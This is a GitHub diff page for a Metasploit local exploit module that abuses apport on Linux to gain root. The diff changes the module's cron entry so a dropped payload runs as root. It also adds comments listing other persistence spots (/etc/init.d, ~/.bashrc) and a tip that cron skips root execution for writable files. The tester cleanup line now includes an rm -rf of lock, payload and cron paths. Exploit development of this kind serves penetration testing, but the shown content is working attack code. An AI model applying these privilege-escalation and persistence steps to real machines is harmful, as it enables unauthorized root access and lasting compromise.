File tree Expand file tree Collapse file tree 1 file changed +6
-2
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +6
-2
lines changed Original file line number Diff line number Diff line change @@ -13,6 +13,9 @@ class MetasploitModule < Msf::Exploit::Local
13
13
include Msf ::Exploit ::EXE
14
14
15
15
def initialize ( info = { } )
16
+ # other places besides crontab
17
+ # /etc/init.d
18
+ # ~/.bashrc
16
19
super (
17
20
update_info (
18
21
info ,
@@ -72,7 +75,7 @@ def initialize(info = {})
72
75
def check
73
76
# If you are testing the module apport needs to be reinstalled on boot every time with
74
77
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
75
- # sudo rm -rf /var/lock/apport/ -> must be run after each subsequent test!
78
+ # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test!
76
79
return CheckCode ::Safe ( 'Platform is not Linux' ) unless session . platform == 'linux'
77
80
78
81
# Check apport version
@@ -141,8 +144,9 @@ def write_payload
141
144
142
145
def write_cron
143
146
cron_interval = datastore [ 'CRON_INTERVAL' ]
144
- data = "#{ cron_interval } #{ @payload_dest } "
147
+ data = "#{ cron_interval } root #{ @payload_dest } \n "
145
148
write_file ( @cron , data )
149
+ # crontab won't execute as root if group/other is writable
146
150
print_good "Successfully wrote crontab!"
147
151
end
148
152
You can’t perform that action at this time.
0 commit comments